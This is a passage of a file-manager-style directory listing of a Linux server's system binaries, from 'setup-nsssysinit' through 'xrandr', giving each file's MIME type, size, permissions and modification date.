application/x-pie-executable
45.12 KB
-rwxr-xr-x
2024-04-06 01:02:53
setup-nsssysinit
text/x-shellscript
1.5 KB
-rwxr-xr-x
2025-09-09 01:57:01
setup-nsssysinit.sh
text/x-shellscript
1.5 KB
-rwxr-xr-x
2025-09-09 01:57:01
setvtrgb
application/x-pie-executable
16.64 KB
-rwxr-xr-x
2023-10-14 09:01:01
sfdp
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
sftp
application/x-pie-executable
159.73 KB
-rwxr-xr-x
2025-09-30 10:44:15
sg
application/x-pie-executable
42.45 KB
-rwsr-xr-x
2024-04-06 02:00:13
sg_bg_ctl
application/x-pie-executable
16.07 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_compare_and_write
application/x-pie-executable
20.9 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_copy_results
application/x-pie-executable
20.81 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_dd
application/x-pie-executable
44.58 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_decode_sense
application/x-pie-executable
20.33 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_emc_trespass
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_format
application/x-pie-executable
33.37 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_get_config
application/x-pie-executable
33.31 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_get_lba_status
application/x-pie-executable
20.46 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ident
application/x-pie-executable
16.17 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_inq
application/x-pie-executable
117.91 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_logs
application/x-pie-executable
150.02 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_luns
application/x-pie-executable
24.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_map
application/x-pie-executable
16.41 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_map26
application/x-pie-executable
24.87 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_modes
application/x-pie-executable
43.88 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_opcodes
application/x-pie-executable
28.69 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_persist
application/x-pie-executable
34.13 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_prevent
application/x-pie-executable
12.07 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_raw
application/x-pie-executable
24.38 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rbuf
application/x-pie-executable
20.84 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rdac
application/x-pie-executable
15.88 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read
application/x-pie-executable
24.41 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_attr
application/x-pie-executable
34.79 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_block_limits
application/x-pie-executable
12.12 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_buffer
application/x-pie-executable
20.96 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_read_long
application/x-pie-executable
16.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_readcap
application/x-pie-executable
20.86 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reassign
application/x-pie-executable
16.22 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_referrals
application/x-pie-executable
16.23 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rep_zones
application/x-pie-executable
20.66 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_requests
application/x-pie-executable
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reset
application/x-pie-executable
16.73 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_reset_wp
application/x-pie-executable
16.17 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rmsn
application/x-pie-executable
12.06 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_rtpg
application/x-pie-executable
16.16 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_safte
application/x-pie-executable
20.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sanitize
application/x-pie-executable
24.58 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_identify
application/x-pie-executable
16.71 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_phy_event
application/x-pie-executable
20.59 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_read_gplog
application/x-pie-executable
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sat_set_features
application/x-pie-executable
16.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_scan
application/x-pie-executable
16.5 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_seek
application/x-pie-executable
16.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_senddiag
application/x-pie-executable
25.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ses
application/x-pie-executable
118.23 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_ses_microcode
application/x-pie-executable
29.48 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_start
application/x-pie-executable
20.93 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_stpg
application/x-pie-executable
20.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_stream_ctl
application/x-pie-executable
20.27 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_sync
application/x-pie-executable
16.22 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_test_rwbuf
application/x-pie-executable
20.73 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_timestamp
application/x-pie-executable
20.74 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_turs
application/x-pie-executable
16.74 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_unmap
application/x-pie-executable
24.32 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_verify
application/x-pie-executable
20.46 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_vpd
application/x-pie-executable
108.75 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_wr_mode
application/x-pie-executable
20.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_buffer
application/x-pie-executable
21.24 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_long
application/x-pie-executable
16.33 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_same
application/x-pie-executable
24.48 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_verify
application/x-pie-executable
20.78 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_write_x
application/x-pie-executable
53.75 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_xcopy
application/x-pie-executable
40.59 KB
-rwxr-xr-x
2022-10-08 11:49:32
sg_zone
application/x-pie-executable
16.3 KB
-rwxr-xr-x
2022-10-08 11:49:32
sginfo
application/x-pie-executable
74.85 KB
-rwxr-xr-x
2022-10-08 11:49:32
sgm_dd
application/x-pie-executable
32.55 KB
-rwxr-xr-x
2022-10-08 11:49:32
sgp_dd
application/x-pie-executable
36.95 KB
-rwxr-xr-x
2022-10-08 11:49:32
sh
application/x-pie-executable
1.1 MB
-rwxr-xr-x
2025-08-26 08:48:39
sha1hmac
application/x-pie-executable
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha1sum
application/x-pie-executable
45.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha224hmac
application/x-pie-executable
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha224sum
application/x-pie-executable
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha256hmac
application/x-pie-executable
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha256sum
application/x-pie-executable
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha384hmac
application/x-pie-executable
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha384sum
application/x-pie-executable
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
sha512hmac
application/x-pie-executable
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
sha512sum
application/x-pie-executable
45.66 KB
-rwxr-xr-x
2023-04-01 08:44:39
shasum
text/x-perl
9.66 KB
-rwxr-xr-x
2019-10-14 12:00:12
showconsolefont
application/x-pie-executable
20.73 KB
-rwxr-xr-x
2023-10-14 09:01:01
showkey
application/x-pie-executable
16.58 KB
-rwxr-xr-x
2023-10-14 09:01:01
showrgb
application/x-pie-executable
13.05 KB
-rwxr-xr-x
2019-10-15 01:08:41
shred
application/x-pie-executable
61.94 KB
-rwxr-xr-x
2023-04-01 08:44:39
shuf
application/x-pie-executable
58.16 KB
-rwxr-xr-x
2023-04-01 08:44:39
sieve-dump
application/x-pie-executable
30.84 KB
-rwxr-xr-x
2025-11-04 08:58:52
sieve-filter
application/x-pie-executable
40.27 KB
-rwxr-xr-x
2025-11-04 08:58:52
sieve-test
application/x-pie-executable
40.2 KB
-rwxr-xr-x
2025-11-04 08:58:52
sievec
application/x-pie-executable
35.1 KB
-rwxr-xr-x
2025-11-04 08:58:52
signver
application/x-pie-executable
114.79 KB
-rwxr-xr-x
2025-09-09 01:57:07
sim_client
application/x-pie-executable
16.28 KB
-rwxr-xr-x
2025-06-03 02:06:30
size
application/x-pie-executable
33.25 KB
-rwxr-xr-x
2025-10-07 06:44:04
skill
application/x-pie-executable
28.8 KB
-rwxr-xr-x
2023-10-14 08:31:02
slabinfo
application/x-pie-executable
36.15 KB
-rwxr-xr-x
2025-12-08 09:08:32
slabtop
application/x-pie-executable
20.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
sleep
application/x-pie-executable
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
slencheck
application/x-pie-executable
13.07 KB
-rwxr-xr-x
2019-10-14 09:51:19
sm3hmac
application/x-pie-executable
32.66 KB
-rwxr-xr-x
2024-03-30 02:16:31
smtpd2.7.py
text/x-script.python
18.11 KB
-rwxr-xr-x
2024-04-10 04:57:37
smtpd2.py
text/x-script.python
18.11 KB
-rwxr-xr-x
2024-04-10 04:57:37
snice
application/x-pie-executable
28.8 KB
-rwxr-xr-x
2023-10-14 08:31:02
snmpconf
text/x-perl
25.44 KB
-rwxr-xr-x
2025-10-07 09:19:23
socat
application/x-pie-executable
406.49 KB
-rwxr-xr-x
2025-07-15 09:33:30
soelim
application/x-pie-executable
42.55 KB
-rwxr-xr-x
2019-10-13 02:29:41
sort
application/x-pie-executable
123.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
sotruss
text/x-shellscript
4.18 KB
-rwxr-xr-x
2025-12-08 09:36:51
spell
text/x-shellscript
122 B
-rwxr-xr-x
2022-04-18 03:10:51
splain
text/x-perl
18.7 KB
-rwxr-xr-x
2025-07-28 08:08:32
split
application/x-pie-executable
58.13 KB
-rwxr-xr-x
2023-04-01 08:44:39
sprof
application/x-pie-executable
28.67 KB
-rwxr-xr-x
2025-12-08 09:43:19
sqlite3
application/x-pie-executable
1.28 MB
-rwxr-xr-x
2025-07-29 01:27:56
ssh
application/x-pie-executable
757.52 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-add
application/x-pie-executable
346.13 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-agent
application/x-pie-executable
325.55 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-copy-id
text/x-shellscript
10.44 KB
-rwxr-xr-x
2025-09-30 10:44:14
ssh-keygen
application/x-pie-executable
427.16 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssh-keyscan
application/x-pie-executable
428.57 KB
-rwxr-xr-x
2025-09-30 10:44:15
ssltap
application/x-pie-executable
130.51 KB
-rwxr-xr-x
2025-09-09 01:57:07
sss_ssh_authorizedkeys
application/x-pie-executable
28.78 KB
-rwxr-xr-x
2025-11-06 10:40:45
sss_ssh_knownhostsproxy
application/x-pie-executable
28.78 KB
-rwxr-xr-x
2025-11-06 10:40:45
stat
application/x-pie-executable
86.23 KB
-rwxr-xr-x
2023-04-01 08:44:39
stdbuf
application/x-pie-executable
49.58 KB
-rwxr-xr-x
2023-04-01 08:44:39
strace
application/x-pie-executable
1.94 MB
-rwxr-xr-x
2025-01-28 01:32:17
strace-log-merge
text/x-shellscript
1.78 KB
-rwxr-xr-x
2021-02-16 08:00:00
stream
application/x-pie-executable
11.83 KB
-rwxr-xr-x
2025-04-01 01:15:58
strings
application/x-pie-executable
37.43 KB
-rwxr-xr-x
2025-10-07 06:44:04
strip
application/x-pie-executable
240.1 KB
-rwxr-xr-x
2025-10-07 06:44:04
stty
application/x-pie-executable
77.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
su
48.98 KB
-rwsr-x---
2024-04-06 01:02:53
sudo
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoedit
186.52 KB
---s--x--x
2025-08-26 09:02:52
sudoreplay
115.2 KB
---x--x--x
2025-08-26 09:02:52
sum
application/x-pie-executable
45.61 KB
-rwxr-xr-x
2023-04-01 08:44:39
sw-engine
application/x-executable
20.12 MB
-rwxr-xr-x
1990-01-01 12:00:00
switch_mod_lsapi
text/x-script.python
30.99 KB
-rwxr-xr-x
2025-12-08 03:29:00
sxpm
application/x-pie-executable
28.81 KB
-rwxr-xr-x
2024-03-30 01:53:16
sync
application/x-pie-executable
37.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
systemctl
application/x-pie-executable
218.45 KB
-rwxr-xr-x
2025-11-05 09:26:54
systemd-analyze
application/x-pie-executable
1.56 MB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-ask-password
application/x-pie-executable
12.02 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-cat
application/x-pie-executable
16.03 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-cgls
application/x-pie-executable
16.44 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-cgtop
application/x-pie-executable
32.88 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-delta
application/x-pie-executable
24.45 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-detect-virt
application/x-pie-executable
11.88 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-escape
application/x-pie-executable
16.01 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-firstboot
application/x-pie-executable
36.98 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-hwdb
application/x-pie-executable
28.91 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-inhibit
application/x-pie-executable
16.03 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-machine-id-setup
application/x-pie-executable
24.75 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-mount
application/x-pie-executable
52.64 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-notify
application/x-pie-executable
16.03 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-path
application/x-pie-executable
16.02 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-resolve
application/x-pie-executable
195.77 KB
-rwxr-xr-x
2025-11-05 09:26:54
systemd-run
application/x-pie-executable
48.94 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-socket-activate
application/x-pie-executable
24.77 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-stdio-bridge
application/x-pie-executable
16.02 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-sysusers
application/x-pie-executable
53.05 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-tmpfiles
application/x-pie-executable
73.3 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-tty-ask-password-agent
application/x-pie-executable
32.82 KB
-rwxr-xr-x
2025-11-05 09:26:53
systemd-umount
application/x-pie-executable
52.64 KB
-rwxr-xr-x
2025-11-05 09:26:53
tabs
application/x-pie-executable
16.55 KB
-rwxr-xr-x
2023-10-14 06:54:49
tac
application/x-pie-executable
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tail
application/x-pie-executable
74.2 KB
-rwxr-xr-x
2023-04-01 08:44:39
tapestat
application/x-pie-executable
41.32 KB
-rwxr-xr-x
2024-07-03 09:57:26
tar
application/x-pie-executable
448.99 KB
-rwxr-xr-x
2025-08-26 08:57:37
taskset
application/x-pie-executable
37.25 KB
-rwxr-xr-x
2024-04-06 01:02:53
tbl
application/x-pie-executable
154.61 KB
-rwxr-xr-x
2019-10-13 02:29:41
tcamgr
application/x-pie-executable
25.13 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcamttest
application/x-pie-executable
21.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcatest
application/x-pie-executable
57.6 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmgr
application/x-pie-executable
29.1 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbmttest
application/x-pie-executable
53.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcbtest
application/x-pie-executable
69.56 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmgr
application/x-pie-executable
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcfmttest
application/x-pie-executable
37.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcftest
application/x-pie-executable
45.18 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmgr
application/x-pie-executable
25.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchmttest
application/x-pie-executable
49.22 KB
-rwxr-xr-x
2019-10-13 01:22:36
tchtest
application/x-pie-executable
57.53 KB
-rwxr-xr-x
2019-10-13 01:22:36
tclsh
application/x-pie-executable
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tclsh8.6
application/x-pie-executable
9.04 KB
-rwxr-xr-x
2019-10-12 12:25:32
tcptraceroute
text/x-shellscript
1.55 KB
-rwxr-xr-x
2025-03-11 07:45:53
tctmgr
application/x-pie-executable
37.09 KB
-rwxr-xr-x
2019-10-13 01:22:36
tctmttest
application/x-pie-executable
45.2 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcttest
application/x-pie-executable
57.19 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcucodec
application/x-pie-executable
37.08 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcumttest
application/x-pie-executable
25.16 KB
-rwxr-xr-x
2019-10-13 01:22:36
tcutest
application/x-pie-executable
73.17 KB
-rwxr-xr-x
2019-10-13 01:22:36
teamd
application/x-pie-executable
160.52 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamdctl
application/x-pie-executable
30.37 KB
-rwxr-xr-x
2023-03-31 08:40:53
teamnl
application/x-pie-executable
20.47 KB
-rwxr-xr-x
2023-03-31 08:40:53
tee
application/x-pie-executable
41.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
telnet
application/x-pie-executable
104.88 KB
-rwxr-xr-x
2021-04-09 10:39:55
test
application/x-pie-executable
53.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
tic
application/x-pie-executable
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
timedatectl
application/x-pie-executable
36.96 KB
-rwxr-xr-x
2025-11-05 09:26:53
timeout
application/x-pie-executable
41.93 KB
-rwxr-xr-x
2023-04-01 08:44:39
tload
application/x-pie-executable
16.76 KB
-rwxr-xr-x
2023-10-14 08:31:02
tmon
application/x-pie-executable
39.63 KB
-rwxr-xr-x
2025-12-08 09:08:32
tmpwatch
application/x-pie-executable
35.47 KB
-rwxr-xr-x
2019-10-12 11:32:29
toe
application/x-pie-executable
16.45 KB
-rwxr-xr-x
2023-10-14 06:54:49
top
application/x-pie-executable
121.7 KB
-rwxr-xr-x
2023-10-14 08:31:02
touch
application/x-pie-executable
94.02 KB
-rwxr-xr-x
2023-04-01 08:44:39
tput
application/x-pie-executable
24.8 KB
-rwxr-xr-x
2023-10-14 06:54:49
tr
application/x-pie-executable
49.7 KB
-rwxr-xr-x
2023-04-01 08:44:39
tracepath
application/x-pie-executable
20.44 KB
-rwxr-xr-x
2023-10-14 05:19:01
traceroute
application/x-pie-executable
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
traceroute6
application/x-pie-executable
70.97 KB
-rwxr-xr-x
2025-03-11 07:45:53
tred
application/x-pie-executable
16.59 KB
-rwxr-xr-x
2024-04-06 12:47:15
troff
application/x-pie-executable
805.02 KB
-rwxr-xr-x
2019-10-13 02:29:41
true
application/x-pie-executable
33.4 KB
-rwxr-xr-x
2023-04-01 08:44:39
truncate
application/x-pie-executable
41.44 KB
-rwxr-xr-x
2023-04-01 08:44:39
trust
application/x-pie-executable
219.55 KB
-rwxr-xr-x
2024-04-06 02:16:19
tset
application/x-pie-executable
24.76 KB
-rwxr-xr-x
2023-10-14 06:54:49
tsort
application/x-pie-executable
41.57 KB
-rwxr-xr-x
2023-04-01 08:44:39
tty
application/x-pie-executable
33.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
turbostat
application/x-pie-executable
130.8 KB
-rwxr-xr-x
2025-12-08 09:08:33
twopi
application/x-pie-executable
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
type
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
tzselect
text/x-shellscript
15.01 KB
-rwxr-xr-x
2025-12-08 09:36:35
uapi
application/x-executable
3.33 MB
-rwxr-xr-x
2025-12-11 10:57:17
ucs2any
application/x-pie-executable
24.41 KB
-rwxr-xr-x
2021-10-09 11:42:47
udevadm
application/x-pie-executable
424.58 KB
-rwxr-xr-x
2025-11-05 09:26:53
ul
application/x-pie-executable
20.58 KB
-rwxr-xr-x
2024-04-06 01:02:53
ulimit
text/x-shellscript
30 B
-rwxr-xr-x
2025-08-26 08:48:39
umask
text/x-shellscript
29 B
-rwxr-xr-x
2025-08-26 08:48:39
umount
application/x-pie-executable
32.75 KB
-rwsr-xr-x
2024-04-06 01:02:53
unalias
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
uname
application/x-pie-executable
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
uname26
application/x-pie-executable
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
unexpand
application/x-pie-executable
45.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
unflatten
application/x-pie-executable
16.63 KB
-rwxr-xr-x
2024-04-06 12:47:15
unicode_start
text/x-shellscript
2.55 KB
-rwxr-xr-x
2023-10-14 08:59:57
unicode_stop
text/x-shellscript
363 B
-rwxr-xr-x
2023-10-14 08:59:56
uniq
application/x-pie-executable
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlink
application/x-pie-executable
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
unlzma
application/x-pie-executable
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unpigz
application/x-pie-executable
125.38 KB
-rwxr-xr-x
2020-06-01 03:15:34
unshare
application/x-pie-executable
24.92 KB
-rwxr-xr-x
2024-04-06 01:02:53
unversioned-python
text/x-shellscript
157 B
-rwxr-xr-x
2025-08-26 09:08:20
unxz
application/x-pie-executable
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
unzip
application/x-pie-executable
201.88 KB
-rwxr-xr-x
2025-06-03 02:10:12
unzipsfx
application/x-pie-executable
101.48 KB
-rwxr-xr-x
2025-06-03 02:10:12
update-ca-trust
text/x-shellscript
1.24 KB
-rwxr-xr-x
2025-10-30 02:25:49
update-crypto-policies
text/plain
87 B
-rwxr-xr-x
2023-08-01 03:18:06
update-gtk-immodules
text/x-shellscript
313 B
-rwxr-xr-x
2021-04-06 01:52:28
update-mime-database
application/x-pie-executable
57.22 KB
-rwxr-xr-x
2024-04-06 02:07:10
uptime
application/x-pie-executable
12.59 KB
-rwxr-xr-x
2023-10-14 08:31:02
users
application/x-pie-executable
37.47 KB
-rwxr-xr-x
2023-04-01 08:44:39
usleep
application/x-pie-executable
11.86 KB
-rwxr-xr-x
2025-11-04 09:19:14
utmpdump
application/x-pie-executable
28.66 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuclient
application/x-pie-executable
15.88 KB
-rwxr-xr-x
2025-06-03 02:06:30
uuidgen
application/x-pie-executable
16.37 KB
-rwxr-xr-x
2024-04-06 01:02:53
uuidparse
application/x-pie-executable
37.13 KB
-rwxr-xr-x
2024-04-06 01:02:53
vacuumdb
application/x-pie-executable
78.46 KB
-rwxr-xr-x
2024-02-27 08:25:00
vdir
application/x-pie-executable
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
vi
application/x-pie-executable
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
view
application/x-pie-executable
1.13 MB
-rwxr-xr-x
2025-10-12 12:23:15
vim
application/x-pie-executable
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdiff
application/x-pie-executable
2.93 MB
-rwxr-xr-x
2025-10-12 12:23:15
vimdot
text/x-shellscript
1.06 KB
-rwxr-xr-x
2024-04-06 12:47:05
vimtutor
text/x-shellscript
2.07 KB
-rwxr-xr-x
2025-10-12 12:23:12
vlock
application/x-pie-executable
20.83 KB
-rwxr-xr-x
2023-10-14 09:01:01
vmstat
application/x-pie-executable
36.79 KB
-rwxr-xr-x
2023-10-14 08:31:02
w
application/x-pie-executable
20.75 KB
-rwxr-xr-x
2023-10-14 08:31:02
wait
text/x-shellscript
28 B
-rwxr-xr-x
2025-08-26 08:48:39
wall
application/x-pie-executable
33.05 KB
-rwxr-xr-x
2024-04-06 01:02:53
watch
application/x-pie-executable
29.19 KB
-rwxr-xr-x
2023-10-14 08:31:02
watchgnupg
application/x-pie-executable
16.43 KB
-rwxr-xr-x
2022-09-13 10:15:05
wc
application/x-pie-executable
49.72 KB
-rwxr-xr-x
2023-04-01 08:44:39
wdctl
application/x-pie-executable
36.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
wget
application/x-pie-executable
521.41 KB
-rwxr-xr-x
2024-08-13 10:22:56
whatis
application/x-pie-executable
54.04 KB
-rwxr-xr-x
2021-10-08 01:04:46
whereis
application/x-pie-executable
29.27 KB
-rwxr-xr-x
2024-04-06 01:02:53
which
application/x-pie-executable
29.38 KB
-rwxr-xr-x
2025-08-26 08:54:45
whiptail
application/x-pie-executable
33.09 KB
-rwxr-xr-x
2020-06-01 02:11:18
who
application/x-pie-executable
53.68 KB
-rwxr-xr-x
2023-04-01 08:44:39
whoami
application/x-pie-executable
33.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
wish
application/x-pie-executable
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wish8.6
application/x-pie-executable
13.05 KB
-rwxr-xr-x
2019-10-16 05:25:14
wmf2eps
application/x-pie-executable
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2fig
application/x-pie-executable
17.15 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2gd
application/x-pie-executable
17.14 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2svg
application/x-pie-executable
17.16 KB
-rwxr-xr-x
2019-10-14 03:47:09
wmf2x
application/x-pie-executable
17.13 KB
-rwxr-xr-x
2019-10-14 03:47:09
word-list-compress
application/x-pie-executable
11.99 KB
-rwxr-xr-x
2022-04-18 03:10:53
write
application/x-pie-executable
20.62 KB
-rwxr-sr-x
2024-04-06 01:02:53
wsrep_sst_backup
text/x-shellscript
2.39 KB
-rwxr-xr-x
2025-10-25 05:42:16
wsrep_sst_common
text/plain
66.86 KB
-rw-r--r--
2025-10-25 05:42:15
wsrep_sst_mariabackup
text/x-shellscript
49.47 KB
-rwxr-xr-x
2025-10-25 05:42:16
wsrep_sst_mysqldump
text/x-shellscript
8.1 KB
-rwxr-xr-x
2025-10-25 05:42:16
wsrep_sst_rsync
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-10-25 05:42:16
wsrep_sst_rsync_wan
text/x-shellscript
29.72 KB
-rwxr-xr-x
2025-10-25 05:42:16
x86_64
application/x-pie-executable
20.76 KB
-rwxr-xr-x
2024-04-06 01:02:53
x86_64-redhat-linux-c++
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-g++
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
x86_64-redhat-linux-gcc
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gcc-8
application/x-pie-executable
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
x86_64-redhat-linux-gnu-pkg-config
text/x-shellscript
424 B
-rwxr-xr-x
2019-10-13 06:57:31
x86_energy_perf_policy
application/x-pie-executable
31.95 KB
-rwxr-xr-x
2025-12-08 09:08:32
xargs
application/x-pie-executable
74.11 KB
-rwxr-xr-x
2024-09-24 02:19:34
xgamma
application/x-pie-executable
17.08 KB
-rwxr-xr-x
2019-10-15 01:08:41
xgettext
application/x-pie-executable
283.88 KB
-rwxr-xr-x
2019-11-18 05:17:29
xhost
application/x-pie-executable
17.12 KB
-rwxr-xr-x
2019-10-15 01:08:41
xinput
application/x-pie-executable
63.61 KB
-rwxr-xr-x
2019-10-15 01:08:41
xkill
application/x-pie-executable
17.1 KB
-rwxr-xr-x
2019-10-15 01:08:41
xml2-config
text/x-shellscript
1.71 KB
-rwxr-xr-x
2017-07-23 05:10:06
xmlcatalog
application/x-pie-executable
20.38 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmllint
application/x-pie-executable
73.37 KB
-rwxr-xr-x
2025-08-06 01:59:35
xmlwf
application/x-pie-executable
36.96 KB
-rwxr-xr-x
2025-11-20 07:31:32
xmodmap
application/x-pie-executable
39.98 KB
-rwxr-xr-x
2019-10-15 01:08:41
xorg-x11-fonts-update-dirs
text/x-shellscript
1.29 KB
-rwxr--r--
2021-10-09 11:42:46
xrandr
application/x-pie-executable
65.46 KB
-rwxr-xr-x
